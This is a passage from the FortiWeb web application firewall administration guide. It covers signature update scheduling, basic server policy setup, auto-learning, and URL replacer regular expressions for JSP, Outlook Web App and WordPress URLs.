- SQL injection
- other common exploits
- data leaks

FortiWeb also can use virus definitions to block trojan uploads, and can use IP reputation definitions to allow search engines but block botnets and anonymizing proxies preferred by hackers. ***FortiGuard services ensure that your FortiWeb is using the most advanced attack protections. Timely updates are crucial to defending your network.***

You can configure the FortiWeb appliance to periodically poll for FortiGuard service updates from the FDN, and automatically download and apply updates if they exist.

For example, you might schedule update requests every night at 2 AM local time, when traffic volume is light.



Alternatively, you can manually upload update packages, or initiate an update request. For details, see [“Manually initiating update requests” on page 142](#) and [“Uploading signature & geography-to-IP updates” on page 144](#).

You can manually initiate updates as alternatives or in conjunction with scheduled updates. For additional/alternative update methods, see [“Manually initiating update requests” on page 142](#).

To configure automatic updates

1. Verify that the FortiWeb appliance has a valid license and can connect to the FDN, or (if destination NAT is used, for example) the IP address that you are using to override the default IPs for FDN servers. For details, see [“To determine your FortiGuard license status” on page 132](#) and [“To verify FortiGuard update connectivity” on page 134](#).
2. Go to *System > Config > FortiGuard*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Maintenance* category. For details, see [“Permissions” on page 46](#).

The page informs you if you are not registered or if registration has expired. If your registration is active, continue scheduling updates; otherwise, click *Register* or *Renew*.

3. Enable *Scheduled Update*.

4. Select either:

- **Every** — Select to request to update once every 1 to 23 hours, then select the number of hours between each update request.
- **Daily** — Select to update once every day, then select the hour. The update attempt occurs at a randomly determined time within the selected hour.
- **Weekly** — Select to request to update once a week, then select the day of the week, the hour, and the minute of the day to check for updates.

If you select *00* minutes, the update request occurs at a randomly determined time within the selected hour.

Support ContractRegistration [Unregistered] [\[Register\]](#)**FortiWeb FortiGuard Subscription Services**

FortiWeb Security Service Expired (1969-12-31) [\[Renew\]](#)
 Last Update Time:1999-11-29 Last Update Method: Manual [\[Update\]](#)
 Signature Build Number-0.00076

FortiWeb Antivirus Service Expired (1969-12-31) [\[Renew\]](#)
 Last Update Time:2011-12-07 Last Update Method: Manual [\[Update\]](#)
 Regular Virus Database Version-14.00922
 Extended Virus Database Version-14.00922

FortiWeb IP Reputation Service Expired (1969-12-31) [\[Renew\]](#)
 Last Update Time:1999-11-29 Last Update Method: Manual [\[Update\]](#)
 Signature Build Number-1.00020

FortiWeb Update Service Options☐ Use override server address ☒ Scheduled Update

☒ Every (hour)
☐ Daily: (hour)
☐ Weekly: (day) (hour)

Update Now**FortiWeb Virus Database**☐ **Regular Virus Database**

Version 14.922
 Included Signatures 2
 Included Grayware Signatures 17
 Description

This virus database includes "In the Wild" viruses and most commonly seen viruses on the network. For regular virus protection, it is sufficient to use this database.

☒ **Extended Virus Database**

Version 14.922
 Included Signatures 2
 Included Grayware Signatures 17
 Description

This virus database includes both "In the Wild" viruses and a large collection of "zoo" viruses that are no longer seen in recent virus studies. The use of this database can be enabled in the Protection Profile. It is suitable for an enhanced security environment.

Maximum av cache size KB

Apply

5. Click *Apply*.

The FortiWeb appliance next requests an update according to the schedule. Results appear in *FortiWeb Security Service* in the *FortiGuard Information* widget. If you have enabled logging in:

- *Log&Report > Log Config > Other Log Settings*
- *Log&Report > Log Config > Global Log Settings*

when the FortiWeb appliance requests an update, the event is recorded in *Log&Report > Log Access > Event*, such as these log message:

```
FortiWeb virus signature is already up-to-date
FortiWeb IP reputation signature update succeeded
```

If the FortiWeb appliance cannot successfully connect, it will record a log with a message that varies by the cause of the error, such as:

```
FortiWeb is unauthorized.
```

Once the attack signature update is complete, FortiWeb will immediately begin to use them. No reboot is required.

See also

- [How often does Fortinet provide FortiGuard updates for FortiWeb?](#)
- [Blocking known attacks & data leaks](#)
- [Configuring parameter validation \(input rules\)](#)
- [Preventing tampering with hidden inputs](#)
- [Limiting file uploads](#)
- [Predefined data types](#)
- [Predefined suspicious request URLs](#)
- [Blacklisting source IPs with poor reputation](#)
- [Blacklisting countries & regions](#)

Manually initiating update requests

If an important update has been released but there is too much time remaining until your appliance's next scheduled update poll, you can manually trigger the FortiWeb appliance to connect to the FDN or FDS server override to request available updates for its FortiGuard service packages.



You can manually initiate updates as an alternative or in addition to other update methods. For details, see [“Scheduling automatic signature updates” on page 139](#) and [“Uploading signature & geography-to-IP updates” on page 144](#).

To manually request updates

1. Before manually initiating an update, first verify that the FortiWeb appliance has a valid license and can connect to the FDN or override server. For details, see [“To determine your FortiGuard license status” on page 132](#) and [“To verify FortiGuard update connectivity” on page 134](#).

2. Go to *System > Config > FortiGuard*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Maintenance* category. For details, see "Permissions" on page 46.

FortiGuard Distribution Network

Support Contract

Registration [Unregistered] [\[Register\]](#)

FortiWeb FortiGuard Subscription Services

FortiWeb Security Service Expired (1969-12-31) [\[Renew\]](#)
Last Update Time:1999-11-29 Last Update Method: Manual [\[Update\]](#)
Signature Build Number-0.00076

FortiWeb Antivirus Service Expired (1969-12-31) [\[Renew\]](#)
Last Update Time:2011-12-07 Last Update Method: Manual [\[Update\]](#)
Regular Virus Database Version-14.00922
Extended Virus Database Version-14.00922

FortiWeb IP Reputation Service Expired (1969-12-31) [\[Renew\]](#)
Last Update Time:1999-11-29 Last Update Method: Manual [\[Update\]](#)
Signature Build Number-1.00020

FortiWeb Update Service Options

☐ Use override server address

☒ Scheduled Update

☒ Every (hour)

☐ Daily: (hour)

☐ Weekly: (day) (hour)

[Update Now](#)

FortiWeb Virus Database

☐ Regular Virus Database

Version 14.922

Included Signatures 2

Included Grayware Signatures 17

Description This virus database includes "In the Wild" viruses and most commonly seen viruses on the network. For regular virus protection, it is sufficient to use this database.

☒ Extended Virus Database

Version 14.922

Included Signatures 2

Included Grayware Signatures 17

Description This virus database includes both "In the Wild" viruses and a large collection of "zoo" viruses that are no longer seen in recent virus studies. The use of this database can be enabled in the Protection Profile. It is suitable for an enhanced security environment.

Maximum av cache size KB

[Apply](#)

3. Click *Update Now*.

The web UI displays a message similar to the following:

Your update request has been sent. Your database will be updated in a few minutes. Please check your update page for the status of the update.

4. After a few minutes, click the *FortiGuard* submenu to refresh the page, or go to *System > Status > Status* and look at the *FortiWeb Update Service* row in the *FortiGuard Information* widget.

If an update was available, the packages that were updated have new version numbers. If you have enabled logging in:

- *Log&Report > Log Config > Other Log Settings*
- *Log&Report > Log Config > Global Log Settings*

when the FortiWeb appliance requests an update, the event is recorded in *Log&Report > Log Access > Event*, such as these log message:

FortiWeb virus signature is already up-to-date

FortiWeb IP reputation signature update succeeded

If the FortiWeb appliance cannot successfully connect, it will record a log with a message that varies by the cause of the error, such as:

FortiWeb is unauthorized.

Once the attack signature update is complete, FortiWeb will immediately begin to use them. No reboot is required.

Uploading signature & geography-to-IP updates

You can manually update the geography-to-IP mappings and the attack, virus, and botnet signatures that your FortiWeb appliance uses to detect attacks. Updating these ensures that your FortiWeb appliance can detect recently discovered variations of these attacks, and that it knows about the current statuses of all IP addresses on the public Internet.

After restoring the firmware of the FortiWeb appliance, you should install the most currently available packages through FortiGuard. Restoring firmware installs the packages that were current at the time the firmware image file was made: they may no longer be up-to-date.



Alternatively, you can schedule automatic updates, or manually trigger the appliance to immediately request an update. For details, see “[Scheduling automatic signature updates](#)” on page 139 and “[Manually initiating update requests](#)” on page 142.

This does not, however, update geography-to-IP mappings, which still must be uploaded manually.

To manually upload signatures

1. Download the file from the Fortinet Technical Support web site:
<https://support.fortinet.com/>
2. Log in to the web UI of the FortiWeb appliance as the `admin` administrator, or an administrator account whose access profile contains *Read* and *Write* permissions in the *Maintenance* category.
3. Go to *System > Config > FortiGuard*.
4. In the row next to the service whose signatures you want to upload, click the *Update* link.
5. A dialog appears that allows you to upload the file.

6. Click the *Browse* button (its name varies by browser) and select the signatures file, then click *OK*.

Your browser uploads the file. Time required varies by the size of the file and the speed of your network connection. Once the attack signature update is complete, FortiWeb will immediately begin to use them. No reboot is required.

See also

- [Restoring firmware \(“clean install”\)](#)

Configuring basic policies

As the last step in the setup sequence, you **must** configure at least one policy.

Until you configure a policy, by default, FortiWeb will:

- **while in reverse proxy mode, deny all traffic** (positive security model)
- **while in other operation modes, allow all traffic** (negative security model)

Once traffic matches a policy, protection profile rules are applied using a negative security model — that is, traffic that matches a policy is allowed **unless** it is flagged as disallowed by any of the enabled scans.

Keep in mind:

- Change policy settings with care. Changes take effect immediately after you click OK.
- When you change any server policy, you should retest it.
- FortiWeb appliances apply policies, rules, and scans in a specific order. This decides each outcome. (See [“Sequence of scans” on page 21](#).) **Review the logic of your server policies to make sure they deliver the web protection and features you expect.**

This section contains examples to get you started:

- [Example 1: Configuring a policy for HTTP via auto-learning](#)
- [Example 2: Configuring a policy for HTTPS](#)
- [Example 3: Configuring a policy for load balancing](#)

Once completed, continue with [“Testing your installation” on page 199](#).

Example 1: Configuring a policy for HTTP via auto-learning

In the simplest scenario, if you want to protect a single, basic web server (that is, it does **not** use HTTPS) while the FortiWeb is operating as a reverse proxy, you can save time configuring your policy by using the auto-learning feature.

To generate profiles and apply them in a policy

1. Create a virtual server on the FortiWeb appliance (*Server Objects > Server > Virtual Server*). When used by a policy, it receives traffic from clients.
2. Define your web server using its IP address (*Server Objects > Server > Physical Server*) or domain name (*Server Objects > Server > Domain Server*). When used by a policy, a physical or domain server defines the web server's IP address to which accepted client traffic will be forwarded.

3. Create a new policy (*Policy > Server Policy > Server Policy*).
 - In *Name*, type a unique name for the policy.
 - In *Virtual Server* or *Data Capture Port*, select your virtual server.
 - In *HTTP Service*, select the predefined HTTP service.
 - In *Physical Server*, select your physical server.
 - In *Physical Server Port*, if your web server does not listen on the standard port 80, type its port number for incoming HTTP traffic.
 - From *WAF Auto Learn Profile*, select the predefined auto-learning profile.
 - From *Web Protection Profile*, select one of the predefined inline protection profiles.



When you use an auto-learning profile, any inline protection profile that you use with it should have [Session Management](#) enabled.

Traffic should now pass through the FortiWeb appliance to your server. If it does not, see [“Troubleshooting” on page 615](#). Auto-learning gathers data based upon the characteristics of requests and responses that it observes.

4. Use the auto-learning report to determine whether auto-learning has observed enough URLs, parameters, and attacks (*Auto Learn > Auto Learn Report > Auto Learn Report*; see [“Auto-learning” on page 149](#)).
5. Generate an initial configuration (*Auto Learn > Auto Learn Report > Auto Learn Report* then click *Generate Config*).
6. If necessary, modify the generated profiles to suit your security policy.
7. Modify the policy to select your generated profile in *Web Protection Profile*.
8. Disable auto-learning by deselecting the auto-learning profile in *WAF Auto Learn Profile*.

Example 2: Configuring a policy for HTTPS

If you want to protect a single HTTPS web server, and the FortiWeb appliance is operating in reverse proxy mode, configuration is similar to [Example 1: Configuring a policy for HTTP via auto-learning](#).

To be able to scan secure traffic, however, the FortiWeb appliance must also be configured to decrypt it, and must be provided with the server's certificate.



You can configure a server policy that includes **both** an HTTP service and an HTTPS service, provided that the back-end web server is accessed using HTTP. If the protected web server is accessed using HTTPS, you need two server policies: one for HTTP and one for HTTPS.

To configure an HTTPS policy

1. Upload a copy of the web server's certificate (*System > Certificates > Local*).
2. Configure a policy and profiles according to [“Example 1: Configuring a policy for HTTP via auto-learning” on page 146](#), except for auto-learning, which you will postpone until these steps are complete.

3. Modify the server policy (*Policy > Server Policy > Server Policy*).
 - In [HTTPS Service](#), select the predefined HTTPS service.
 - In [Physical Server Port](#), if your web server does not listen on the standard port 443, type its port number for incoming HTTPS traffic.
 - In [Certificate](#), select your web server's certificate. Also select, if applicable, [Certificate Verification](#) and [Certificate Intermediate Group](#).
 - Enable [SSL Server](#).

Traffic should now pass through the FortiWeb appliance to your server. If it does not, see [“Troubleshooting” on page 615](#).

Example 3: Configuring a policy for load balancing

If you want protect multiple web servers, configuration is similar to [Example 1: Configuring a policy for HTTP via auto-learning](#).

To distribute load among multiple servers, however, instead of specifying a single physical server in the policy, you must specify a group of servers (server farm).



This example assumes a basic network topology. If there is another, external proxy or load balancer between clients and your FortiWeb, you may need to define it (see [“Defining your web servers & load balancers” on page 238](#)).

Similarly, if there is a proxy or load balancer between FortiWeb and your web servers, you may need to configure your FortiWebserver policy's [Deployment Mode](#) option as if requests were destined for a single web server (the proxy or load balancer), **not** load balanced by FortiWeb amongst multiple servers.

To configure a load-balancing policy

1. Define additional web servers by either their IP address (*Server Objects > Server > Physical Server*) or domain name (*Server Objects > Server > Domain Server*).
2. Group the web servers into a server farm (*Server Objects > Server > Server Farm*). When used by a policy, it tells the FortiWeb appliance how to distribute incoming web connections to those destination IP addresses. On the *Server Farm* dialog:
 - From [Type](#), select *Server Balance*.
 - Add your physical and/or domain servers ([Physical Server](#) or [Domain Server](#)).
 - If you want to distribute connections proportionately to a server's capabilities instead of evenly, in each [Weight](#), give the numerical weight of the new server when using the weighted round-robin load-balancing algorithm.
3. Configure a policy and profiles according to [“Example 1: Configuring a policy for HTTP via auto-learning” on page 146](#), except for auto-learning, which you will postpone until these steps are complete.
4. Modify the server policy:
 - From [Deployment Mode](#), select *Server Balance*.
 - From [Load Balancing Algorithm](#), select *Round Robin* or *Weighted Round Robin*.

Traffic should now pass through the FortiWeb appliance and be distributed among your servers. If it does not, see [“Troubleshooting” on page 615](#).

Auto-learning

Protection settings can be configured manually or with assistance from auto-learning.

Auto-learning can teach you a great deal about the threats your web assets face. It also helps you to understand your web applications' structures, and how end-users use them. Most importantly, though, auto-learning can help you to quickly tailor FortiWeb's configuration to suit your web applications.



For data centers, colocation centers, and complex web applications, auto-learning-assisted configuration can save significant amounts of time compared to purely manual configuration. However, auto-learning is also resource-intensive and can decrease performance while gathering data. For strategies on minimizing the impact to your network, see [“Running auto-learning” on page 178](#) and [“Regular expression performance tips” on page 600](#).

Auto-learning discovers the URLs and other characteristics of HTTP and/or HTTPS sessions by observing traffic that is passing to your web servers. It:


- compares the request to attack signatures
- observes inputs such as cookies and URL parameters
- tracks your web servers' response to each request, such as 401 Unauthorized or 500 Internal Server Error

to learn about whether the request is legitimate or a potential attack attempt. By learning from your traffic, the FortiWeb appliance can suggest appropriate configurations, and help you to quickly generate profiles designed specifically for your unique traffic.

How to adapt auto-learning to dynamic URLs & unusual parameters

When web applications have dynamic URLs or unusual parameter styles, you **must** adapt auto-learning to recognize them.

By default, auto-learning assumes that your web applications use the most common URL structure:



- All parameters follow after a **question mark** (?). They do not follow a hash (#) or other separator character.
- If there are multiple name-value pairs, each pair is separated by an **ampersand** (&). They are not separated by a semi-colon (;) or other separator character.
- All paths before the question mark (?) are **static** — they do not change based upon input, blending the path with parameters (sometimes called a dynamic URL).

For example, the page at:

`/app/main`

always has that same path. After a person logs in, the page's URL **doesn't** become:

`/app/marco/main`

or

`/app#deepa`

For another example, the URL does **not** dynamically reflect inventory, such as:

`/app/sprockets/widget1024894`

Some web applications, however, embed parameters within the path structure of the URL, or use unusual or non-uniform parameter separator characters. ***If you do not configure URL replacers for such applications, it can cause your FortiWeb appliance to gather auto-learning data incorrectly.*** This can cause the following symptoms:

- Auto-learning reports do not contain a correct URL structure.
- URL or parameter learning is endless.
- When you generate a protection profile from auto-learning, it contains many more URLs than actually exist, because auto-learning cannot predict that the URL is actually dynamic.
- Parameter data is not complete, despite the fact that the FortiWeb appliance has seen traffic containing the parameter.

For example, with Microsoft Outlook Web App (OWA), the user's login name could be embedded within the path structure of the URL, such as:

`/owa/tom/index.html`

`/owa/mary/index.html`

instead of suffixed as a parameter, such as:

`/owa/index.html?username=tom`

`/owa/index.html?username=mary`

Auto-learning would continue to create new URLs as new users are added to OWA.

Auto-learning would also expend extra resources learning about URLs and parameters that are actually the same. Additionally, auto-learning may not be able to fully learn the application structure, as each user may not request the same URLs.

To solve this, you would create a URL replacer that recognizes the user name within the OWA URL as if it were a standard, suffixed parameter value so that auto-learning can function properly.

See also

- [Configuring URL interpreters](#)
- [Grouping URL interpreters](#)
- [Configuring an auto-learning profile](#)
- [Regular expression syntax](#)

Configuring URL interpreters

When using auto-learning, you must define how to interpret dynamic URLs and URLs that include parameters in non-standard ways, such as with different parameter separators (; or #, for example) or by embedding the parameter within the URL's path structure.

In the web UI, these interpreter plug-ins are called "URL replacers."

URL replacers match the URL as it appears in the HTTP header of the client's request (using the regular expression in [URL Path](#)) and interpret it into this standard URL formulation:

New URL?New Param=Param Change

For example, if the URL is:

`/application/value`

and the URL replacer settings are:

Table 11:

Setting name	Value
<i>Type</i>	Custom-Defined
<i>URL Path</i>	<code>(/application)/([^\/]*)</code>
<i>New URL</i>	<code>\$0</code>
<i>Param Change</i>	<code>\$1</code>
<i>New Param</i>	<code>setting</code>

`$0` holds this part of the matched URL:

`/application`

and `$1` holds this part of the matched URL:

`value`

so then the URL will be understood by auto-learning, and displayed in the report, as:

`/application?setting=value`



Need a refresher on regular expressions? See [“Regular expression syntax” on page 658](#), [“What are back-references?” on page 663](#), and [“Cookbook regular expressions” on page 665](#). You can also use the examples in this section, such as [“Example: URL interpreter for WordPress” on page 158](#).

To create a URL interpreter

1. Go to *Auto Learn > Application Templates > URL Replacer*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Autolearn Configuration* category. For details, see [“Permissions” on page 46](#).

2. Click *Create New*.

3. Configure these settings:

Edit URL Replacer	
Name	wordpress-interpreter1
Type	☐ Predefined ☒ Custom-Defined
Application Type	JSP
URL Path	/index/param1/(.*)/param2/(.*)/param3/(.*) >>
New URL	/index/param1/\$0/param2/\$1/
Param Change	\$2
New Param	param3
OK Cancel	

Setting name	Description

Name	Type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Type	Select either: • Predefined — Use one of the predefined URL replacers which you select in Application Type. • Custom-Defined — Define your own URL replacer by configuring URL Path, New URL, Param Change, and New Param.

4. If you selected *Predefined* in [Type](#), also configure this setting:

Setting name	Description

Application Type	Select one of the predefined URL interpreter plug-ins for well-known web applications: • JSP — Use the URL replacer designed for Java server pages (JSP) web applications, where parameters are often separated by semi-colons (;). • OWA — User the URL replacer designed for default URLs in Microsoft Outlook Web App (OWA), where user name and directory parameters are often embedded within the URL: • (^/exchange/)([^/]+)/*(((^/)+)/(.*))* • (^/public/)(.*)

- If you selected *Custom-Defined* in *Type*, configure these settings:

Setting name	Description
URL Path	Type a regular expression, such as <code>(^[^/]+)/(.*)</code>, matching all and only the URLs to which the URL replacer should apply. The maximum length is 255 characters. The pattern does not require a backslash (<code>/</code>). However, it must at least match URLs that begin with a slash as they appear in the HTTP header, such as <code>/index.html</code>. Do not include the domain name, such as <code>www.example.com</code>. For examples, see “Example: URL interpreter for WordPress” on page 158. To test the regular expression against sample text, click the <code>>></code> (test) icon. This opens the <i>Regular Expression Validator</i> window where you can fine-tune the expression (see “Regular expression syntax” on page 658, “What are back-references?” on page 663 and “Cookbook regular expressions” on page 665). Note: If this URL replacer will be used sequentially in its set of URL replacers, instead of being mutually exclusive, this regular expression should match the URL produced by the previous interpreter, not the original URL from the request.
New URL	Type either a literal URL, such as <code>/index.html</code>, or a regular expression with a back-reference (such as <code>\$1</code>) defining how the URL will be interpreted. The maximum length is 255 characters. Note: Back-references can only refer to capture groups (parts of the expression surrounded with parentheses) within the same URL replacer. Back-references cannot refer to capture groups in other URL replacers.
Param Change	Type either the parameter’s literal value, such as <code>user1</code>, or a back-reference (such as <code>\$0</code>) defining how the value will be interpreted.
New Param	Type either the parameter’s literal name, such as <code>username</code>, or a back-reference (such as <code>\$2</code>) defining how the parameter’s name will be interpreted in the auto-learning report. The maximum length is 255 characters. Note: Back-references can only refer to capture groups (parts of the expression surrounded with parentheses) within the same URL replacer. Back-references cannot refer to capture groups in other URL replacers.

- Click *OK*.
- Group the URL replacers in an application policy (see [“Grouping URL interpreters” on page 163](#)).
- Select the application policy in one or more auto-learning profiles (see [“Configuring an auto-learning profile” on page 175](#)).
- Select the auto-learning profiles in server policies (see [“Configuring a server policy” on page 470](#)).

See also

- [Regular expression syntax](#)
- [Example: URL interpreter for a JSP application](#)
- [Example: URL interpreter for Microsoft Outlook Web App](#)
- [Example: URL interpreter for WordPress](#)

Example: URL interpreter for a JSP application

The HTTP request URL from a client is:

```
/app/login.jsp;jsessionid=xxx;p1=111;p2=123?p3=5555&p4=66aaaaa
```

which uses semi-colons as parameter separators (;) in the URL, a behavior typical to JSP applications. You would create a URL replacer to recognize the JSP application's parameters: the semi-colons.

Table 12: Example: URL replacer for JSP applications

Setting name	Value
Type	Predefined
Application Type	JSP

The predefined JSP interpreter plug-in will interpret the URL as:

```
/app/login.jsp?p4=66aaaaa&p1=111&p2=123&p3=5555
```

See also

- [Regular expression syntax](#)
- [Example: URL interpreter for Microsoft Outlook Web App](#)
- [Example: URL interpreter for WordPress](#)

Example: URL interpreter for Microsoft Outlook Web App

When a client sends requests to Microsoft Outlook Web App (OWA), many of its URLs use structures like this:

```
/exchange/tom/index.html  
/exchange/jane.doe/memo.EML  
/exchange/qinlu/2012/1.html
```

These have user name parameters embedded in the URL. In order for auto-learning to recognize the parameters, you must either:

- Set *Type* to *Predefined* and *Application Type* to *OWA*. This predefined auto-learning URL interpreter will match and recognize parameters in all default URLs.
- Create your own custom URL interpreters.

A custom URL replacer for those URLs could look like this:

Table 13: Example: URL replacer for Microsoft Outlook Web App — User name structure #1

Edit URL Replacer

Name exchange1

Type ☐ Predefined ☒ Custom-Defined

Application Type ISP

URL Path (/exchange/)([^/]+)/(.*)

New URL \$0\$2

Param Change \$1

New Param username1

OK **Cancel**

Table 14:

URL interpreter	
Setting name	Value
Name	OWAusername1
Type	Custom-Defined
URL Path	(/exchange/)([^/]+)/(.*)
New URL	\$0\$2
Param Change	\$1
New Param	username1

Then the URLs would be recognized by auto-learning as if OWA used a more conventional parameter structure like this:

```

/exchange/index.html?username1=tom
/exchange/memo.EML?username1=jane.doe
/exchange/2012/1.html?username1=qinlu

```

Notably, OWA can also include **other** parameters in the URL, such as a mail folder's name. Also, OWA can include the user name and folder in more than one way. Therefore multiple URL interpreters are required to match all possible URL structures. In addition to the first URL replacer, you would also configure the following URL replacers and group them into a single set (an auto-learning “application policy”) in order to recognize all possible URLs.

Table 15: Example: URL replacer for Microsoft Outlook Web App — Folder name structure #1

Edit URL Replacer

Name exchange3

Type ☐ Predefined ☒ Custom-Defined

Application Type JSP

URL Path (/exchange/)([^\/]++)(.*)

New URL \$0

Param Change \$1\$2

New Param foldername1

OK Cancel

Table 16:

Sample URL	/exchange/archive-folders/2011
URL interpreter	
Setting name	Value
<i>Name</i>	OWAfoldername1
<i>Type</i>	Custom-Defined
<i>URL Path</i>	(/exchange/)([^\/]++)(.*)
<i>New URL</i>	\$0
<i>Param Change</i>	\$1\$2
<i>New Param</i>	folder1
Results	/exchange/?folder1=archive-folders/2011

Table 17: Example: URL replacer for Microsoft Outlook Web App — User name structure #2

Edit URL Replacer

Name	exchange2
Type	☐ Predefined ☒ Custom-Defined
Application Type	JSP
URL Path	/exchange/([^\./]+\.[^\./]+) >>>
New URL	\$0
Param Change	\$1
New Param	username2

Table 18:

Sample URL	/exchange/jane.doe
URL interpreter	
Setting name	Value
<i>Name</i>	OWAusername2
<i>Type</i>	Custom-Defined
<i>URL Path</i>	(/exchange/)([^\./]+\.[^\./]+)
<i>New URL</i>	\$0
<i>Param Change</i>	\$1
<i>New Param</i>	username2
Results	/exchange/?username2=jane.doe

Table 19: Example: URL replacer Microsoft Outlook Web App — Folder name structure #2

Table 20:

Sample URL	/public/imap-share-folders/memos
URL interpreter	
Setting name	Value
<i>Name</i>	OWAfoldername2
<i>Type</i>	<i>Custom-Defined</i>
<i>URL Path</i>	(/public/)([^/]+)/(.*)
<i>New URL</i>	\$0
<i>Param Change</i>	\$1\$2
<i>New Param</i>	folder2
Results	/public/?folder2=imap-share-folders/memos

See also

- [Regular expression syntax](#)
- [Example: URL interpreter for a JSP application](#)
- [Example: URL interpreter for WordPress](#)

Example: URL interpreter for WordPress

If the HTTP request URL from a client is a slash-delimited chain of multiple parameters, like either of these:

```
/wordpress/2012/06/05
/index/province/ontario/city/ottawa/street/moodie
```

then the format is either of these:

```
/wordpress/value1/value2/value3
/index/param1/value1/param2/value2/param3/value3
```


In this URL format, there are 3 parameter values (with or without their names) in the URL:

- param1
- param2
- param3

Because each interpreter can only extract a single parameter, you would create 3 URL interpreters, and group them into a set where they are used sequentially — a **chain**.

Each interpreter would use the interpreted output of the previous one as its input, until all parameters had been extracted, at which point the last interpreter would output both the last parameter and the final interpreted URL. FortiWeb would then append parameters back onto the interpreted URL in the standard structure before storing them in the auto-learning data set.

Figure 20: Analysis of a request URL into its interpretation by a chain of URL interpreters



This configuration requires that for every request:

- the web application includes parameters in the same sequential order, **and**
- all parameters are always present

If parameter order or existence vary, this URL interpreter will not work. Requests will **not** match the URL interpreter set if either param2 or param3 come first, or if any of the parameters are missing. On the opposite end of the spectrum, if the URL interpreter used regular expression capture groups such as (. *) to match anything in any order, i.e.:

```
/index/(.*)/(.*)/(.*)/(.*)/(.*)/(.*)/
```

then the regular expression would be **too** flexible: auto-learning might mistakenly match and learn some of param3's possible values for param2, and so on.

Table 21: Example: URL replacer 1 for slash-separated parameters

Edit URL Replacer	
Name	wordpress-interpreter1
Type	☐ Predefined ☒ Custom-Defined
Application Type	JSP
URL Path	/index/param1/(.*)/param2/(.*)/param3/ >>
New URL	/index/param1/\$0/param2/\$1/
Param Change	\$2
New Param	param3
OK Cancel	

Table 22:

Setting name	Value
Name	slash-parameter3
Type	Custom-Defined
URL Path	/index/param1/(.*)/param2/(.*)/param3/(.*)/
New URL	/index/param1/\$0/param2/\$1/
Param Change	\$2
New Param	param3

Table 23: Example: URL replacer 2 for slash-separated parameters

New URL Replacer	
Name	wordpress-interpreter2
Type	☐ Predefined ☒ Custom-Defined
Application Type	JSP
URL Path	/index/param1/(.*)/param2/(.*)/ >>
New URL	/index/param1/\$0/
Param Change	\$1
New Param	param2
OK Cancel	

Table 24:

Setting name	Value
Name	slash-parameter2
Type	Custom-Defined
URL Path	/index/param1/(.*)/param2/(.*)/

Table 24:

Setting name	Value
<i>New URL</i>	/index/param1/\$0/
<i>Param Change</i>	\$1
<i>New Param</i>	param2

Table 25: Example: URL replacer 3 for slash-separated parameters

New URL Replacer	
Name	wordpress-interpreter3
Type	☐ Predefined ☒ Custom-Defined
Application Type	JSP
URL Path	/index/param1/(.*)/ >>
New URL	/index
Param Change	\$0
New Param	param1
OK Cancel	

Table 26:

Setting name	Value
<i>Name</i>	slash-parameter1
<i>Type</i>	Custom-Defined
<i>URL Path</i>	/index/param1/(.*)/
<i>New URL</i>	/index
<i>Param Change</i>	\$0
<i>New Param</i>	param1

Until you add the URL interpreters to a group, FortiWeb doesn't know the sequential order.



These URL interpreters will not function correctly if they are not used in that order, because each interpreter's input is the output from the previous one. So you **must** set the priorities correctly when referencing each of those interpreters in the set of URL interpreters ("Grouping URL interpreters" on page 163).

Edit Application Policy

Name wordpress-interpreter

OK
Cancel

Create New

ID	Priority	Type	Plugin Name	
1	0	URL REPLACER	wordpress-interpreter1	
2	1	URL REPLACER	wordpress-interpreter2	
3	2	URL REPLACER	wordpress-interpreter3	

Table 27: Example: URL replacer group for slash-separated parameters — entry 1

Setting name	Value
Priority	0
Type	URL REPLACER
Plugin Name	slash-parameter3

Table 28: Example: URL replacer group for slash-separated parameters — entry 2

Setting name	Value
Priority	1
Type	URL REPLACER
Plugin Name	slash-parameter2

Table 29: Example: URL replacer group for slash-separated parameters — entry 3

Setting name	Value
Priority	2
Type	URL REPLACER
Plugin Name	slash-parameter1

Then the URL will be interpreted by auto-learning as if the application used a more conventional and easily understood URL/parameter structure:

```
/index?param1=value1&param2=value2&param3=value3
```

See also

- [Grouping URL interpreters](#)
- [Configuring an auto-learning profile](#)
- [Regular expression syntax](#)
- [Example: URL interpreter for a JSP application](#)
- [Example: URL interpreter for Microsoft Outlook Web App](#)

Grouping URL interpreters

In order to use URL interpreters with an auto-learning profile, you must group URL replacers into sets.

Sets can be:

- mutually exclusive, where the set contains expressions for all possible URL structures, but only one of the URL replacers will match a given request's URL
- sequential, where the set contains expressions to interpret multiple parameters in a single given URL; each interpreter's URL input is the URL output of the previous interpreter, and they each parse the URL until all parameters have been extracted; sequential order of interpreters is determined by the URL interpreter's *Priority* in the set


To create a custom application policy

1. Before you create an application policy, first create the URL replacers that it will include (see [“Configuring URL interpreters” on page 150](#)).
2. Go to *Auto Learn > Application Templates > Application Policy*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Autolearn Configuration* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.


A dialog appears.



	ID	Type	Plugin Name
☐	1	URL REPLACER	wordpress-interpreter1
☐	2	URL REPLACER	wordpress-interpreter2
☐	3	URL REPLACER	wordpress-interpreter3

4. In *Name*, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. Click *OK*.
6. Click *Create New*.

A dialog appears.



ID	1
Type	URL REPLACER ▼
Plugin Name	wordpress-interpreter1 ▼

7. From *Plugin Name*, select an existing URL replacer from the drop-down list.



Rule order affects URL replacer matching and behavior. FortiWeb appliances evaluate URLs for a matching URL replacer starting with the smallest ID number (greatest priority) rule in the list, and continue towards the largest number in the list.

- **If no rule matches**, parameters in the URL will not be interpreted.
- **If multiple rules match**, the output (*New URL*) from earlier URL replacers will be used as the input (*URL Path*) for the next URL replacer, resulting in a chain of multiple interpreted parameters.

8. Click *OK*.
9. Repeat the previous steps for each URL replacer you want added to the policy.
10. Select the application policy in an auto-learning profile (see [“Configuring an auto-learning profile” on page 175](#)).
11. Select the auto-learning profiles in server policies (see [“Configuring a server policy” on page 470](#)).

See also

- [Configuring URL interpreters](#)
- [Example: URL interpreter for Microsoft Outlook Web App](#)
- [Example: URL interpreter for WordPress](#)
- [Configuring an auto-learning profile](#)

Recognizing data types

FortiWeb appliances recognize the data types of parameters by matching them with regular expressions. These regular expressions are categorized as either:

